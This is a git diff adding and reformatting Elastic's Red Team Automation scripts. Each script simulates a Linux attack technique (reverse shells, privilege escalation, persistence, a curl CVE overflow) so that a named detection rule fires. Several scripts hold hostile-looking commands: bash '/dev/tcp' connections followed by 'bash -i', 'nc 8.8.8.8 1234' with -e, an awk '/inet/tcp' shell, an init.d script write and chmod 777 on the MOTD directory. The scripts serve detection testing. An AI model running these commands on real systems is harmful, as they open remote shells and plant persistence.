b/rta/empire_stager.py @@ -3,9 +3,9 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys +from . import RtaMetadata, common metadata = RtaMetadata( uuid="4d7ce5b3-f8e4-434c-9caa-c7e133146b27", @@ -17,8 +17,7 @@ metadata = RtaMetadata( @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: masquerade = "/tmp/bash" if common.CURRENT_OS == "linux": source = common.get_path("bin", "linux.ditto_and_spawn") @@ -39,4 +38,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/enumeration_linpeas.py b/rta/enumeration_linpeas.py index 684e2e1f5..7018d5aa2 100644 --- a/rta/enumeration_linpeas.py +++ b/rta/enumeration_linpeas.py @@ -3,15 +3,18 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys +from . import RtaMetadata, common metadata = RtaMetadata( uuid="b88c08af-eee5-4683-a56a-36e91e6386d5", platforms=["macos", "linux"], endpoint=[ - {"rule_name": "Privilege Escalation Enumeration via LinPEAS", "rule_id": "92bb2a27-745b-4291-90a1-b7b654df1379"} + { + "rule_name": "Privilege Escalation Enumeration via LinPEAS", + "rule_id": "92bb2a27-745b-4291-90a1-b7b654df1379", + }, ], siem=[], techniques=["T1059"], @@ -19,8 +22,7 @@ metadata = RtaMetadata( @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: masquerade = "/tmp/sed" if common.CURRENT_OS == "linux": source = common.get_path("bin", "linux.ditto_and_spawn") @@ -29,11 +31,11 @@ def main(): common.create_macos_masquerade(masquerade) common.log("Executing fake sed command for LinPEAS behavior.") - common.execute([masquerade, "testImPoSSssSiBlEeetest"], timeout=5, kill=True, shell=True) + common.execute([masquerade, "testImPoSSssSiBlEeetest"], timeout=5, kill=True, shell=True) # noqa: S604 # cleanup common.remove_file(masquerade) if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/exec_shell_kworker.py b/rta/exec_shell_kworker.py new file mode 100644 index 000000000..a4873178e --- /dev/null +++ b/rta/exec_shell_kworker.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import os +import sys +from pathlib import Path + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="11b447ca-6ad4-4597-a048-2585b27762ea", + platforms=["linux"], + endpoint=[{"rule_name": "Shell Command Execution via kworker", "rule_id": "94943f02-5580-4d1d-a763-09e958bd0f57"}], + siem=[], + techniques=["T1036", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main() -> None: + masquerade_script = Path("/tmp/kworker_evasion.sh") + with masquerade_script.open("w") as f: + f.write("#!/bin/bash\n") + f.write("sh -c 'whoami'\n") + + # Make the script executable + masquerade_script.chmod(0o755) + + # Execute the script + common.log("Launching fake command to simulate a kworker execution") + os.system(str(masquerade_script)) # noqa: S605 + + # Cleanup + masquerade_script.unlink() + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/execution_linux_curl_cve_2023_38545.py b/rta/execution_linux_curl_cve_2023_38545.py new file mode 100644 index 000000000..5c5c38501 --- /dev/null +++ b/rta/execution_linux_curl_cve_2023_38545.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="6a5977f6-ed19-446e-a441-e325cff7772b", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Potential curl CVE-2023-38545 Exploitation", + "rule_id": "0c188a15-30f5-445c-8655-95c7f93ace88", + }, + ], + siem=[ + { + "rule_name": "Potential curl CVE-2023-38545 Exploitation", + "rule_id": "f41296b4-9975-44d6-9486-514c6f635b2d", + }, + ], + techniques=["T1203"], +) + + +@common.requires_os(metadata.platforms) +def main() -> None: + masquerade = "/tmp/curl" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + payload += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + payload += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + + # Execute command + common.log("Launching fake command to simulate a buffer overflow") + common.execute([masquerade, "--proxy", payload], timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/gdb_init_secret_dump.py b/rta/gdb_init_secret_dump.py new file mode 100644 index 000000000..ba7165f52 --- /dev/null +++ b/rta/gdb_init_secret_dump.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="163dbe60-28e0-4042-b2f0-173dddea877b", + platforms=["linux"], + endpoint=[ + {"rule_name": "Linux init (PID 1) Secret Dump via GDB", "rule_id": "ba70be59-bf50-48a9-8b36-0f0808a50fb8"}, + ], + siem=[{"rule_name": "Linux init (PID 1) Secret Dump via GDB", "rule_id": "d4ff2f53-c802-4d2e-9fb9-9ecc08356c3f"}], + techniques=["T1003"], +) + + +@common.requires_os(metadata.platforms) +def main() -> None: + masquerade = "/tmp/gdb" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Execute command + common.log("Launching fake GDB commands to hook the init process") + common.execute([masquerade, "--pid", "1"], timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/linux_discovery_command_from_sus_dir.py b/rta/linux_discovery_command_from_sus_dir.py new file mode 100644 index 000000000..f72f90bbf --- /dev/null +++ b/rta/linux_discovery_command_from_sus_dir.py @@ -0,0 +1,52 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys +from pathlib import Path + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="be8c9227-8266-4d91-931e-c53e07731d07", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Linux User Discovery Command Execution from Suspicious Directory", + "rule_id": "c932c9f0-76ed-4d78-a242-cfaade43080c", + }, + ], + techniques=["T1059", "T1033"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + # Path for the fake executable + fake_executable = "/dev/shm/evil" + + # Create fake whoami executable + masquerade = "/dev/shm/whoami" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Create a fake executable that launches whoami + with Path(fake_executable).open("w") as script: + script.write("#!/bin/bash\n") + script.write("/dev/shm/whoami\n") + + # Make the script executable + common.execute(["chmod", "+x", fake_executable]) + + # Execute the fake executable + common.log("Launching whoami as a child of fake executable") + common.execute([fake_executable], timeout=5, kill=True, shell=True) # noqa: S604 + + # Cleanup + common.remove_file(fake_executable) + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/linux_exec_interactive_shell.py b/rta/linux_exec_interactive_shell.py new file mode 100644 index 000000000..14e8b183a --- /dev/null +++ b/rta/linux_exec_interactive_shell.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="94366604-8f84-448e-9761-0eb7b45bc2fa", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Linux Suspicious Child Process Execution via Interactive Shell", + "rule_id": "aa02591f-c9e6-4317-841e-0b075b9515ff", + }, + ], + techniques=["T1059"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + masquerade = "/tmp/bash" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + commands = [masquerade, "-i"] + + # Execute command + common.log("Launching fake command to simulate an interactive shell process") + common.execute([*commands], timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/linux_hack_tool.py b/rta/linux_hack_tool.py new file mode 100644 index 000000000..23f491d6f --- /dev/null +++ b/rta/linux_hack_tool.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="9b0bbe6d-2116-4327-930b-51e3e5097487", + platforms=["linux"], + endpoint=[{"rule_name": "Potential Linux Hack Tool Launched", "rule_id": "3337a10c-e950-4827-a44e-96a688fba221"}], + siem=[{"rule_name": "Potential Linux Hack Tool Launched", "rule_id": "1df1152b-610a-4f48-9d7a-504f6ee5d9da"}], + techniques=[""], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + masquerade = "/tmp/crackmapexec" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Execute command + common.log("Launching fake command to simulate a CME process") + common.execute([masquerade], timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/linux_initd_unusual_binary_execution.py b/rta/linux_initd_unusual_binary_execution.py new file mode 100644 index 000000000..a69c107e4 --- /dev/null +++ b/rta/linux_initd_unusual_binary_execution.py @@ -0,0 +1,51 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + +metadata = RtaMetadata( + uuid="4076de6c-6caa-40b3-bfb6-548645823376", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Init.d Script Executed Binary from Unusual Location", + "rule_id": "879c083c-e2d9-4f75-84f2-0f1471d915a8" + } + ], + techniques=["T1037"], +) + + +@common.requires_os(*metadata.platforms) +def main(): + + # Path for the fake initd script + fake_initd = "/etc/init.d/rta" + + # Create fake sh executable + masquerade = "/tmp/sh" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Create a fake initd script that launches sh + with open(fake_initd, 'w') as script: + script.write('#!/bin/bash\n') + script.write('/tmp/sh\n') + + # Make the script executable + common.execute(['chmod', '+x', fake_initd]) + common.execute(['chmod', '+x', masquerade]) + + # Execute the fake initd script + common.log("Launching a shell that executes a payload as a child of fake initd") + common.execute([fake_initd], timeout=5, kill=True, shell=True) + + # Cleanup + common.remove_file(fake_initd) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/linux_persistence_kworker_file_creation.py b/rta/linux_persistence_kworker_file_creation.py new file mode 100644 index 000000000..9839cbf72 --- /dev/null +++ b/rta/linux_persistence_kworker_file_creation.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="5282c9a4-4ce9-48b8-863a-ff453143635a", + platforms=["linux"], + endpoint=[], + siem=[{"rule_name": "Suspicious File Creation via kworker", "rule_id": "ae343298-97bc-47bc-9ea2-5f2ad831c16e"}], + techniques=["T1547", "T1014"], +) + + +@common.requires_os(metadata.platforms) +def main() -> None: + masquerade = "/tmp/kworker" + source = common.get_path("bin", "create_file.elf") + common.copy_file(source, masquerade) + + common.log("Granting execute permissions...") + common.execute(["chmod", "+x", masquerade]) + + commands = [masquerade, "/tmp/evil"] + + common.log("Simulating file creation activity..") + common.execute([*commands], timeout=5) + common.log("File creation simulation successful!") + common.log("Cleaning...") + common.remove_file(masquerade) + common.log("RTA completed!") + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/linux_reverse_shell.py b/rta/linux_reverse_shell.py new file mode 100644 index 000000000..ad323748a --- /dev/null +++ b/rta/linux_reverse_shell.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import subprocess + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="a5603982-8b43-4ea9-b8de-112d9817e12d", + platforms=["linux"], + endpoint=[{"rule_name": "Linux Reverse Shell", "rule_id": "52206861-4570-4b8b-a73e-4ef0ea379a4c"}], + siem=[], + techniques=["T1059", "T1071"], +) + + +@common.requires_os(metadata.platforms) +def main() -> None: + common.log("Creating the bash command to execute to get the proper parent/child relationship in place...") + # Bash command that attempts a network connection and then starts a new bash process with the -i flag + bash_command = 'exec 3<>/dev/tcp/8.8.8.8/53; echo -e "Connection Test" >&3; exec 3<&-; exec 3>&-; exec bash -i' + common.log("Executing the bash command...") + # Use subprocess.Popen to execute the bash command + subprocess.Popen(["bash", "-c", bash_command]) # noqa: S603 S607 + common.log("Simulation successful!") + + +if __name__ == "__main__": + main() diff --git a/rta/linux_reverse_shell_via_netcat.py b/rta/linux_reverse_shell_via_netcat.py new file mode 100644 index 000000000..5eb878fca --- /dev/null +++ b/rta/linux_reverse_shell_via_netcat.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="ecb34b55-2947-48af-b746-3a472abfda43", + platforms=["linux"], + endpoint=[{"rule_name": "Linux Reverse Shell via netcat", "rule_id": "c0ca8114-254d-46ba-88c6-db57de6efe2d"}], + siem=[], + techniques=["T1059", "T1071"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + common.log("Creating a fake nc executable..") + masquerade = "/tmp/nc" + source = common.get_path("bin", "netcon_exec_chain.elf") + common.copy_file(source, masquerade) + common.log("Granting execute permissions...") + common.execute(["chmod", "+x", masquerade]) + commands = [masquerade, "chain", "-h", "8.8.8.8", "-p", "1234", "-c", "-e", "nc 8.8.8.8 1234"] + common.log("Simulating reverse shell activity..") + common.execute([*commands], timeout=5, kill=True, shell=True) # noqa: S604 + common.log("Reverse shell simulation successful!") + common.log("Cleaning...") + common.remove_file(masquerade) + common.log("Simulation successfull!") + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/linux_reverse_shell_via_utility.py b/rta/linux_reverse_shell_via_utility.py new file mode 100644 index 000000000..84e1d3112 --- /dev/null +++ b/rta/linux_reverse_shell_via_utility.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="d768af98-4e0b-451a-bc29-04b0be110ee5", + platforms=["linux"], + endpoint=[ + {"rule_name": "Linux Reverse Shell via Suspicious Utility", "rule_id": "c71b9783-ca42-4532-8eb3-e8f2fe32ff39"}, + ], + siem=[], + techniques=["T1059", "T1071"], +) + + +@common.requires_os(metadata.platforms) +def main() -> None: + common.log("Creating a fake awk executable..") + masquerade = "/tmp/awk" + source = common.get_path("bin", "netcon_exec_chain.elf") + common.copy_file(source, masquerade) + common.log("Granting execute permissions...") + common.execute(["chmod", "+x", masquerade]) + commands = [masquerade, "chain", "-h", "8.8.8.8", "-p", "1234", "-c", "/inet/tcp/1234"] + common.log("Simulating reverse shell activity..") + common.execute([*commands], timeout=5, kill=True) + common.log("Reverse shell simulation successful!") + common.log("Cleaning...") + common.remove_file(masquerade) + common.log("Simulation successfull!") + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/message_of_the_day_execution.py b/rta/message_of_the_day_execution.py new file mode 100644 index 000000000..811d34cf8 --- /dev/null +++ b/rta/message_of_the_day_execution.py @@ -0,0 +1,53 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="33f3ebda-7776-4cec-933b-48e85d707d61", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Suspicious Process Spawned from MOTD Detected", + "rule_id": "b9b3922a-59ee-407c-8773-31b98bf9b18d", + }, + ], + siem=[ + { + "rule_name": "Suspicious Process Spawned from MOTD Detected", + "rule_id": "4ec47004-b34a-42e6-8003-376a123ea447", + }, + ], + techniques=[""], +) + + +@common.requires_os(metadata.platforms) +def main() -> None: + common.log("Creating a fake MOTD executable..") + masquerade = "/etc/update-motd.d/socat" + dir_path = "/etc/update-motd.d/" + source = common.get_path("bin", "netcon_exec_chain.elf") + common.log("Granting directory permissions for copy") + common.execute(["sudo", "chmod", "777", dir_path]) + common.copy_file(source, masquerade) + common.log("Granting execute permissions...") + common.execute(["chmod", "+x", masquerade]) + + commands = [masquerade, "exec", "-c", "nc -vz localhost 22"] + + common.log("Simulating MOTD netcat activity..") + common.execute([*commands], timeout=5) + common.log("MOTD netcat simulation successful!") + common.log("Cleaning...") + common.remove_file(masquerade) + common.execute(["sudo", "chmod", "755", dir_path]) + common.log("RTA completed!") + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/multiarch_file_drops.py b/rta/multiarch_file_drops.py new file mode 100644 index 000000000..2bcd69ee9 --- /dev/null +++ b/rta/multiarch_file_drops.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="b2603bac-ba1c-4e6e-a041-ed8772fded75", + platforms=["linux"], + endpoint=[ + {"rule_id": "276a5df0-7e20-4218-ade1-3f3ed711d4cb", "rule_name": "Potential Multi Architecture File Downloads"}, + ], + siem=[], + techniques=["T1105"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + masquerade = "/tmp/curl" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Execute command + common.log("Launching fake commands to mimic multi arch file downloads") + command = "http://fake/mipsel" + + for _ in range(8): + common.execute([masquerade, command], timeout=0.3, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/ojnl_injection.py b/rta/ojnl_injection.py new file mode 100644 index 000000000..2ba8b0d2b --- /dev/null +++ b/rta/ojnl_injection.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="b48a9dd2-8fe7-41e1-9af2-65f609a54237", + platforms=["linux"], + endpoint=[ + { + "rule_id": "8fff17c6-f0ba-4996-bcc3-342a9ebd0ef3", + "rule_name": "Remote Code Execution via Confluence OGNL Injection", + }, + ], + siem=[], + techniques=["T1190"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + masquerade = "/tmp/confluence/jre/fake/java" + masquerade2 = "/tmp/bash" + # Using the Linux binary that simulates parent-> child process in Linux + source = common.get_path("bin", "linux_ditto_and_spawn_parent_child") + common.copy_file(source, masquerade) + common.copy_file(source, masquerade2) + + # Execute command + common.log("Launching fake commands for Remote Code Execution via Confluence") + command = f"{masquerade2} date" + common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) # noqa: S604 + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/overlayfs_privesc.py b/rta/overlayfs_privesc.py index 5e318faf3..78f556a27 100644 --- a/rta/overlayfs_privesc.py +++ b/rta/overlayfs_privesc.py @@ -3,33 +3,38 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata -import subprocess +import sys +from . import RtaMetadata, common metadata = RtaMetadata( uuid="a78663dc-9561-40a9-b4eb-f15e31c690cc", platforms=["linux"], - endpoint=[{"rule_name": "Potential Privilege Escalation via OverlayFS", "rule_id": "ca9de348-a09d-4c67-af21-5645b70003d0"}], - siem=[{"rule_name": "Potential Privilege Escalation via OverlayFS", "rule_id": "b51dbc92-84e2-4af1-ba47-65183fcd0c57"}], + endpoint=[ + { + "rule_name": "Potential Privilege Escalation via OverlayFS", + "rule_id": "ca9de348-a09d-4c67-af21-5645b70003d0", + }, + ], + siem=[ + { + "rule_name": "Potential Privilege Escalation via OverlayFS", + "rule_id": "b51dbc92-84e2-4af1-ba47-65183fcd0c57", + }, + ], techniques=["T1068"], ) -@common.requires_os(metadata.platforms) -def main(): +@common.requires_os(*metadata.platforms) +def main() -> None: common.log("Creating a fake unshare executable..") masquerade = "/tmp/unshare" source = common.get_path("bin", "linux.ditto_and_spawn") common.copy_file(source, masquerade) # Execute command - commands = [ - masquerade, - '-rm', - 'cap_setuid' - ] + commands = [masquerade, "-rm", "cap_setuid"] common.log("Launching fake commands to set cap_setuid via unshare") common.execute([*commands], timeout=2, kill=True) @@ -37,17 +42,15 @@ def main(): common.log("Faking uid change via same parent") - sudo_commands = [ - "sudo", - "su" - ] + sudo_commands = ["sudo", "su"] - subprocess.run(sudo_commands, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + common.execute([*sudo_commands], timeout=2, kill=True) common.log("Uid change simulation succesful") # cleanup common.remove_file(masquerade) + if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/persistence_shell_via_web_server.py b/rta/persistence_shell_via_web_server.py new file mode 100644 index 000000000..5e8e23784 --- /dev/null +++ b/rta/persistence_shell_via_web_server.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import os +import pathlib +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="884ae75b-d9ed-448c-9267-fb470fffb249", + platforms=["linux"], + endpoint=[{"rule_id": "753f83ff-437b-4952-8612-07e3c1327daf", "rule_name": "Potential Shell via Web Server"}], + siem=[], + techniques=["T1505", "T1505.003"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + masquerade = "/tmp/httpd" + masquerade2 = "/tmp/bash" + # used only for linux at 2 places to enumerate xargs as parent process. + working_dir = "/tmp/fake_folder/httpd" + # Using the Linux binary that simulates parent-> child process in Linux + source = common.get_path("bin", "linux_ditto_and_spawn_parent_child") + common.copy_file(source, masquerade) + common.copy_file(source, masquerade2) + # In linux the working directory is being projected as parent process. + # Hence, to simulate the parent process without many changes to execute logic + # a fake folder structure is created for execution. + # The execution working directory is changed to the fake folder, to simulate as xargs parent process in Linux. + pathlib.Path(working_dir).mkdir(parents=True, exist_ok=True) + os.chdir(working_dir) + + # Execute command + common.log("Launching fake commands for potential shell via webserver") + command = f"{masquerade2} pwd" + common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) # noqa: S604 + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + common.remove_directory(working_dir) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/pkexec_shell.py b/rta/pkexec_shell.py index c50f300d9..4140945cb 100644 --- a/rta/pkexec_shell.py +++ b/rta/pkexec_shell.py @@ -3,15 +3,18 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys +from . import RtaMetadata, common metadata = RtaMetadata( uuid="dc1baf0d-8048-481a-b142-73313181fe31", platforms=["linux"], endpoint=[ - {"rule_name": "Privilege Escalation via PKEXEC Exploitation", "rule_id": "30c89cc9-d93c-4134-a976-58f8413f2f32"} + { + "rule_name": "Privilege Escalation via PKEXEC Exploitation", + "rule_id": "30c89cc9-d93c-4134-a976-58f8413f2f32", + }, ], siem=[], techniques=["T1574", "T1068"], @@ -19,7 +22,7 @@ metadata = RtaMetadata( @common.requires_os(*metadata.platforms) -def main(): +def main() -> None: common.log("Executing command to simulate privilege escalation via PKEXEC exploitation") # The exploit reproduction is available for commercial usage via MIT License # https://github.com/berdav/CVE-2021-4034/blob/main/LICENSE @@ -30,4 +33,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/polkit_system_service.py b/rta/polkit_system_service.py new file mode 100644 index 000000000..3d6904b82 --- /dev/null +++ b/rta/polkit_system_service.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="32a4b4dd-24b3-4aed-bbce-2ca6ed5e1d69", + platforms=["linux"], + endpoint=[ + { + "rule_id": "3144cab7-cc28-46c3-a3ac-8fefe8db22d6", + "rule_name": "Privilege Escalation via Polkit System Service", + }, + ], + siem=[], + techniques=["T1548"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + masquerade = "/tmp/dbus-send" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Execute command + common.log("Executing Fake commands to test Privilege Escalation via Polkit System Service") + common.execute( + [ + masquerade, + "--dest=org.freedesktop.Accounts", + "org.freedesktop.Accounts.CreateUser", + "org.freedesktop.Accounts.User.SetPassword", + "org.freedesktop.Accounts.DeleteUser", + ], + timeout=10, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/potential_vscode_tunnel.py b/rta/potential_vscode_tunnel.py new file mode 100644 index 000000000..e75b6d5f1 --- /dev/null +++ b/rta/potential_vscode_tunnel.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import os +import pathlib +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="fb5cd755-cc31-4142-969a-cd14d3142b36", + platforms=["linux"], + endpoint=[ + {"rule_id": "aec74eb4-9618-42ff-96eb-2d13e6959d47", "rule_name": "Potential VScode Remote Tunnel Established"}, + ], + siem=[], + techniques=["T1059"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + masquerade = "code_tunnel.json" + working_dir = "/tmp/fake_folder/code" + source = common.get_path("bin", "linux.ditto_and_spawn") + + # Execute command + common.log("Executing Fake commands to test Potential VScode Remote Tunnel Established") + pathlib.Path(working_dir).mkdir(parents=True, exist_ok=True) + os.chdir(working_dir) + common.copy_file(source, masquerade) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/reverse_shell.py b/rta/reverse_shell.py index 6e6e06c61..f3a83d660 100644 --- a/rta/reverse_shell.py +++ b/rta/reverse_shell.py @@ -3,9 +3,9 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys +from . import RtaMetadata, common metadata = RtaMetadata( uuid="83b04be5-ed0f-4efd-a7fd-d5db2b8ab62f", @@ -14,7 +14,7 @@ metadata = RtaMetadata( { "rule_name": "Potential Reverse Shell Activity via Terminal", "rule_id": "d0e45f6c-1f83-4d97-a8d9-c8f9eb61c15c", - } + }, ], siem=[], techniques=["T1071", "T1059"], @@ -22,11 +22,17 @@ metadata = RtaMetadata( @common.requires_os(*metadata.platforms) -def main(): +def main() -> None: + masquerade = "/tmp/bash" + if common.CURRENT_OS == "linux": + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + else: + common.create_macos_masquerade(masquerade) common.log("Executing command to simulate reverse shell execution") - common.execute(['bash -c "bash -i >/dev/tcp/127.0.0.1/4444" 0>&1'], shell=True) + common.execute([masquerade, "/dev/tcp/127.0.0.1/4444"], timeout=5, kill=True, shell=True) # noqa: S604 if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/src/create_file.c b/rta/src/create_file.c new file mode 100644 index 000000000..8d43160e6 --- /dev/null +++ b/rta/src/create_file.c @@ -0,0 +1,45 @@ +#include +#include +#include +#include +#include + +// Function to create directories for the given path +int create_directories(char *path) { + char *dir_path = dirname(strdup(path)); // Get directory name + char *p = strtok(dir_path, "/"); // Tokenize path + char current_path[1024] = {0}; // Store the path being created + + // Iterate through path parts and create directories + while(p != NULL) { + strcat(current_path, "/"); + strcat(current_path, p); + mkdir(current_path, S_IRWXU | S_IRWXG | S_IROTH | 